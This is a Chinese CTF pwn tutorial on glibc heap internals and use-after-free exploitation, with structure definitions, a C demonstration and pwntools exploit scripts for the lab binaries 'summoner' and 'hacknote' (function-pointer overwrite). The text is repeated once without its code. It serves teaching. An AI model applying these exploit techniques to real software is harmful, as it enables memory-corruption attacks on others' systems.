CTF-pwn 技术总结(4)
字数 2399 2025-08-07 08:22:20

CTF Pwn 堆利用技术详解

0x0 前言

本教程将详细介绍CTF Pwn中堆利用的相关技术,包括堆的基本概念、管理机制、常见漏洞类型及利用方法。通过本教程,读者将掌握堆利用的基础知识和实战技巧。

0x1 堆的基本概念

堆的定义与特性

堆是程序虚拟内存中由低地址向高地址增长的线性区域,具有以下特点:

  • 通过mallocallocrealloc等函数申请内存
  • 出于效率和页对齐考虑,通常分配大块连续内存
  • 与栈不同,栈由高地址向低地址增长,堆由低地址向高地址增长

CTF中的堆管理器

CTF比赛中常见的堆是ptmalloc2堆管理器中的堆,由glibc实现,其管理机制如下:

  1. 用户申请堆块时,从堆中按顺序分配
  2. 用户释放堆块时,glibc将释放的堆块组织成链表
  3. 相邻的free chunk会被合并以解决内存碎片问题

重要术语

  • allocated chunk: 正在使用的堆块
  • free chunk: 被释放的堆块
  • bin: 由free chunk组成的链表
    • fast bin: 管理小尺寸chunk
    • small bin: 管理中等尺寸chunk
    • large bin: 管理大尺寸chunk
    • unsorted bin: 临时存放释放的chunk

0x2 堆的实现机制

Arena(竞技场)

Arena是用于管理线程中堆的结构:

  • 每个线程有一个独立的arena
  • 主线程的arena称为"main_arena"
  • 子线程的arena称为"thread_arena"
  • 主线程堆扩展使用brk函数,子线程使用mmap

关键结构体

1. struct malloc_state(Arena实现)

struct malloc_state {
  __libc_lock_define(, mutex);
  int flags;
  int have_fastchunks;
  mfastbinptr fastbinsY[NFASTBINS];  // Fast bins
  mchunkptr top;                     // Top chunk
  mchunkptr last_remainder;          // 最近分割剩余的chunk
  mchunkptr bins[NBINS * 2 - 2];     // Normal bins
  unsigned int binmap[BINMAPSIZE];   // Bin位图
  struct malloc_state *next;         // 链表指针
  struct malloc_state *next_free;    // 空闲arena链表
  INTERNAL_SIZE_T attached_threads;  // 附加线程数
  INTERNAL_SIZE_T system_mem;        // 系统分配的内存
  INTERNAL_SIZE_T max_system_mem;    // 最大系统内存
};

2. struct _heap_info(堆段信息)

typedef struct _heap_info {
  mstate ar_ptr;            // 所属arena
  struct _heap_info *prev;  // 前一个堆段
  size_t size;              // 当前大小
  size_t mprotect_size;     // 受保护的大小
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // 对齐填充
} heap_info;

3. struct malloc_chunk(堆块结构)

struct malloc_chunk {
  INTERNAL_SIZE_T mchunk_prev_size;  // 前一个chunk大小(如果free)
  INTERNAL_SIZE_T mchunk_size;       // 当前chunk大小(包括元数据)
  
  // 以下字段仅在chunk free时有效
  struct malloc_chunk* fd;          // 前向指针
  struct malloc_chunk* bk;          // 后向指针
  
  // 仅用于large bin
  struct malloc_chunk* fd_nextsize; // 不同大小chunk的前向指针
  struct malloc_chunk* bk_nextsize; // 不同大小chunk的后向指针
};

字段详解

  • prev_size: 前一个chunk空闲时表示其大小,否则作为前一个chunk数据部分
  • size: 当前chunk大小,低3位用作标志位:
    • NON_MAIN_ARENA: 是否位于主线程
    • IS_MAPPED: 是否由mmap分配
    • PREV_INUSE: 前一个chunk是否在使用中
  • fd/bk: chunk空闲时指向bin链表中的前后chunk
  • fd_nextsize/bk_nextsize: 仅large bin使用,指向不同大小的chunk

malloc和free函数

malloc函数

void *malloc(size_t n);

特性:

  • 返回对应大小内存块的指针
  • n=0时返回系统允许的最小内存块
  • n为负数时(转换为无符号大数)通常分配失败

free函数

void free(void *p);

特性:

  • 释放p指向的内存块
  • p为NULL时不执行任何操作
  • 重复释放会导致double free漏洞
  • 大内存释放时会归还给系统

chunk管理机制

  • 堆初始化后作为一个free chunk(top chunk)
  • 申请内存时,若无合适bin则切割top chunk
  • top chunk不足时调用brk扩展堆
  • 释放内存时,glibc合并相邻free chunk并加入合适bin

0x3 First Fit机制与UAF漏洞

First Fit机制

glibc使用first-fit算法选择空闲chunk:

  • 查找第一个大小满足要求的空闲chunk
  • 找到即返回,不再继续查找
  • 可能导致内存碎片问题

UAF (Use After Free)漏洞

UAF即释放后使用,分为几种情况:

  1. 释放后指针置NULL,再次使用导致崩溃
  2. 释放后指针未置NULL,且内存未被修改,程序可能正常运行
  3. 释放后指针未置NULL,内存被修改,导致异常行为

悬挂指针(dangling pointer): 被释放但未置NULL的指针

漏洞演示程序分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(0x512);
    char* b = malloc(0x256);
    char* c;
    
    strcpy(a, "this is A!");
    free(a);
    
    c = malloc(0x500);
    strcpy(c, "this is C!");
    
    printf("a points to %s\n", a);  // 输出"this is C!"
}

分析:

  1. 分配两个chunk(a:0x512, b:0x256)
  2. 释放a但不置NULL
  3. 分配c(0x500),由于first fit重用a的空间
  4. 修改c的内容也影响了a的指针
  5. 这就是UAF漏洞的典型表现

0x4 实战案例分析

案例1: summoner

程序功能:

  • 召唤使徒(等级1-4)
  • 需要等级5使徒才能击败魔龙

漏洞分析:

  1. 使用结构体存储召唤物信息(name指针和level)
  2. 释放时仅free name指针,未释放整个结构体
  3. 存在UAF漏洞

利用步骤:

  1. 创建召唤物,name为8个'a'+'\x05'
  2. 释放该召唤物
  3. 重新创建召唤物
  4. 由于first fit,新结构体使用原name空间
  5. level字段被设置为5,成功利用

EXP代码:

from pwn import *
context.log_level = 'debug'
p = process("./summoner")

def sla(signal, content):
    p.sendlineafter(signal, content)

sla('>','summon ' + 'a'*8 + '\x05')
sla('>','release')
sla('>','summon aaaa')
sla('>','show')
sla('>','strike')

p.interactive()

案例2: hacknote

程序功能:

  • 添加note(最多5个)
  • 删除note
  • 打印note
  • 退出

漏洞分析:

  1. note结构包含puts函数指针和content指针
  2. 删除时free content和note结构体但未置NULL
  3. 存在UAF漏洞
  4. 程序有magic后门函数

利用步骤:

  1. 创建两个note(size=16)
  2. 依次释放note0和note1
  3. 创建note2(size=8), content为magic函数地址
  4. 由于first fit:
    • note2结构体使用note1的空间
    • note2 content使用note0的空间
  5. 打印note0会执行magic函数

EXP代码:

from pwn import *
context.log_level = 'debug'

p = process('./hacknote')
e = ELF('./hacknote')

def sla(signal, content):
  p.sendlineafter(signal, content)

def add_note(size, content):
    sla('Your choice :', '1')
    sla('Note size :', str(size))
    sla('Content :', content)

def del_note(index):
    sla('Your choice :', '2')
    sla('Index :', str(index))

def show(index):
    sla('Your choice :', '3')
    sla('Index :', str(index))

magic = p32(e.sym['magic'])

add_note(0x10, 'a') #0
add_note(0x10, 'a') #1
del_note(0) #0
del_note(1) #1
add_note(0x8, magic) #2
show(0)

p.interactive()

0x5 总结

堆利用技术涉及底层内存管理知识,要点包括:

  1. 理解堆的管理机制和关键结构体
  2. 掌握first fit分配策略
  3. 识别和利用UAF漏洞
  4. 通过调试分析内存布局
  5. 构造合适的数据结构实现利用

堆漏洞利用是CTF Pwn中的重要考点,需要结合理论知识和实践调试才能掌握。建议读者动手实践示例程序,使用gdb等工具观察内存变化,加深理解。

0x6 参考资源

  1. CTF-Wiki堆利用章节
  2. 《30张图带你领略glibc内存管理精髓》
  3. 《如何理解Glibc堆管理器》
CTF Pwn 堆利用技术详解 0x0 前言 本教程将详细介绍CTF Pwn中堆利用的相关技术,包括堆的基本概念、管理机制、常见漏洞类型及利用方法。通过本教程,读者将掌握堆利用的基础知识和实战技巧。 0x1 堆的基本概念 堆的定义与特性 堆是程序虚拟内存中由低地址向高地址增长的线性区域,具有以下特点: 通过 malloc 、 alloc 、 realloc 等函数申请内存 出于效率和页对齐考虑,通常分配大块连续内存 与栈不同,栈由高地址向低地址增长,堆由低地址向高地址增长 CTF中的堆管理器 CTF比赛中常见的堆是ptmalloc2堆管理器中的堆,由glibc实现,其管理机制如下: 用户申请堆块时,从堆中按顺序分配 用户释放堆块时,glibc将释放的堆块组织成链表 相邻的free chunk会被合并以解决内存碎片问题 重要术语 allocated chunk : 正在使用的堆块 free chunk : 被释放的堆块 bin : 由free chunk组成的链表 fast bin : 管理小尺寸chunk small bin : 管理中等尺寸chunk large bin : 管理大尺寸chunk unsorted bin : 临时存放释放的chunk 0x2 堆的实现机制 Arena(竞技场) Arena是用于管理线程中堆的结构: 每个线程有一个独立的arena 主线程的arena称为"main_ arena" 子线程的arena称为"thread_ arena" 主线程堆扩展使用 brk 函数,子线程使用 mmap 关键结构体 1. struct malloc_ state(Arena实现) 2. struct _ heap_ info(堆段信息) 3. struct malloc_ chunk(堆块结构) 字段详解 prev_ size : 前一个chunk空闲时表示其大小,否则作为前一个chunk数据部分 size : 当前chunk大小,低3位用作标志位: NON_MAIN_ARENA : 是否位于主线程 IS_MAPPED : 是否由mmap分配 PREV_INUSE : 前一个chunk是否在使用中 fd/bk : chunk空闲时指向bin链表中的前后chunk fd_ nextsize/bk_ nextsize : 仅large bin使用,指向不同大小的chunk malloc和free函数 malloc函数 特性: 返回对应大小内存块的指针 n=0时返回系统允许的最小内存块 n为负数时(转换为无符号大数)通常分配失败 free函数 特性: 释放p指向的内存块 p为NULL时不执行任何操作 重复释放会导致double free漏洞 大内存释放时会归还给系统 chunk管理机制 堆初始化后作为一个free chunk(top chunk) 申请内存时,若无合适bin则切割top chunk top chunk不足时调用brk扩展堆 释放内存时,glibc合并相邻free chunk并加入合适bin 0x3 First Fit机制与UAF漏洞 First Fit机制 glibc使用first-fit算法选择空闲chunk: 查找第一个大小满足要求的空闲chunk 找到即返回,不再继续查找 可能导致内存碎片问题 UAF (Use After Free)漏洞 UAF即释放后使用,分为几种情况: 释放后指针置NULL,再次使用导致崩溃 释放后指针未置NULL,且内存未被修改,程序可能正常运行 释放后指针未置NULL,内存被修改,导致异常行为 悬挂指针(dangling pointer) : 被释放但未置NULL的指针 漏洞演示程序分析 分析: 分配两个chunk(a:0x512, b:0x256) 释放a但不置NULL 分配c(0x500),由于first fit重用a的空间 修改c的内容也影响了a的指针 这就是UAF漏洞的典型表现 0x4 实战案例分析 案例1: summoner 程序功能 : 召唤使徒(等级1-4) 需要等级5使徒才能击败魔龙 漏洞分析 : 使用结构体存储召唤物信息(name指针和level) 释放时仅free name指针,未释放整个结构体 存在UAF漏洞 利用步骤 : 创建召唤物,name为8个'a'+'\x05' 释放该召唤物 重新创建召唤物 由于first fit,新结构体使用原name空间 level字段被设置为5,成功利用 EXP代码 : 案例2: hacknote 程序功能 : 添加note(最多5个) 删除note 打印note 退出 漏洞分析 : note结构包含puts函数指针和content指针 删除时free content和note结构体但未置NULL 存在UAF漏洞 程序有magic后门函数 利用步骤 : 创建两个note(size=16) 依次释放note0和note1 创建note2(size=8), content为magic函数地址 由于first fit: note2结构体使用note1的空间 note2 content使用note0的空间 打印note0会执行magic函数 EXP代码 : 0x5 总结 堆利用技术涉及底层内存管理知识,要点包括: 理解堆的管理机制和关键结构体 掌握first fit分配策略 识别和利用UAF漏洞 通过调试分析内存布局 构造合适的数据结构实现利用 堆漏洞利用是CTF Pwn中的重要考点,需要结合理论知识和实践调试才能掌握。建议读者动手实践示例程序,使用gdb等工具观察内存变化,加深理解。 0x6 参考资源 CTF-Wiki堆利用章节 《30张图带你领略glibc内存管理精髓》 《如何理解Glibc堆管理器》